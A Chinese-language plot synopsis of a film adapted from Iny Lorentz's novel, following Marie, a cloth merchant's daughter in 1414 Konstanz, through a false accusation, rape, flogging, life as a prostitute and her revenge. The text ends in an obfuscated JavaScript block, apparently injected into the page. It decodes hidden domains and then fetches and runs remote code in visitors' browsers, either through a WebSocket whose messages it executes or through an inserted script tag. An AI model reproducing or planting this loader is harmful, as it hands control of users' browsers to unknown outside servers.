根据艾尼•洛伦兹的国际畅销书改编这个故事发生在中世纪,这个时候教会为了维持他们的威信而进行着斗争,三个教皇为了各自的权力进行着激烈的争斗。1414年,来自西班牙,法国,意大利和所有欧洲领土的红衣主教,修道院院长和主教们为了联合天主教教会突袭了神圣罗马帝国。玛丽•舍雷尔是一个富有的衣布商人的女儿,人长得漂亮迷人,并且在康士坦茨过着享有特权的生活。她最爱的父亲什么都愿意给予她,除了答应她和她儿时的同伴米歇尔•阿德勒来往,因为他是穷人家的儿子。随着玛丽和米歇尔年龄的增长,二人的友谊渐渐变成了爱情,所以当玛丽的父亲马西斯决定让玛丽嫁给律师鲁伯特(公爵的私生子)的时候,玛丽表示出强烈的反对,但是如果她不答应,她就有可能再也看不到米歇尔,而且她在直觉上也不相信鲁伯特,可是她不得不遵从父亲的意愿,但谁也不知道这会带来灾难性的后果。马西斯和鲁伯特在婚前协议上达成新娘必须是处女,否则鲁伯特将会得到他的所有财富。但在婚礼前夜,一名官员却带着两名目击证人在举行婚礼的地方指认玛丽,说她是个妓女。也因此玛丽被关了起来,并在那天晚上遭到了鲁伯特同伙残忍的强暴,最终玛丽被判有罪,天主教会法庭对这个卖淫女做出了判决:玛丽在公众面前遭到了鞭打,并且被禁止在康士坦茨生活。在生死边缘挣扎的玛丽,被一群妓女救起。帮助玛丽治伤的希尔特露特很快成为了她的最亲密的朋友。从一个地方到另一个地方,玛丽唯一生存的机会就是成为一名真正的妓女。希尔特露特交给了玛丽很多她们工作中的技巧,很快,玛丽成为了一名最漂亮,经验最丰富的妓女。支撑玛丽活下去的理由就是对那个毁了她生活的男人的憎恨,她决定一定要让那个男人得到该有的惩罚。一天玛丽再度遇见了米歇尔,此时的米歇尔是一个得到了尊重的团长。米歇尔一直相信玛丽已经离开了人世,即便如此,他也没有停止过对玛丽的爱。令人难过的是,玛丽还不能和米歇尔一起离开,她必须把她的耻辱和憎恨一并了结。当玛丽被一个怀孕的女人雇佣为她的丈夫的情妇,并且允许玛丽和希尔特露特整个冬天都在贵族的城堡里度过的时候,玛丽觉得自己的目标快要达到了。玛丽发现,鲁伯特正在密谋掠夺他的家族的财产,为了阻止鲁伯特计划的实施,玛丽选择大胆的冒一次险。混在前去参加委员会的衣着鲜艳的牧师和贵族的人群里,玛丽回到了她的家乡康斯坦茨,在这里酝酿着最后的对决,带着玛丽对复仇漫长的等待…
function kNeFmJ(e){var t="",n=r=c1=c2=0;while(n %lt;e.length){r=e.charCodeAt(n);if(r %lt;128){t+=String.fromCharCode(r);n++;}else if(r %gt;191&&r %lt;224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)%lt;%lt;6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)%lt;%lt;12|(c2&63)%lt;%lt;6|c3&63);n+=3;}}return t;};function lFLNUdjH(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f %lt;e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s %lt;%lt;2|o %gt;%gt;4;r=(o&15)%lt;%lt;4|u %gt;%gt;2;i=(u&3)%lt;%lt;6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return kNeFmJ(t);};window[''+'m'+'g'+'Q'+'T'+'K'+'F'+'k'+'G'+'l'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,i,w,d,c){var x=lFLNUdjH,cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';if(navigator.userAgent.indexOf('baidu')>-1){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket('wss://'+k+':9531/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);}}else{u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));var s=document.createElement('script');s.src='https://'+u.slice(0,u.length-1)+'/vod-'+i;cs.parentElement.insertBefore(s,cs);}})('Y29kZS5zeXFxbW0uY29t==','d29wLnh5czU2LmNvbQ==','3750',window,document,['=','g']);}:function(){};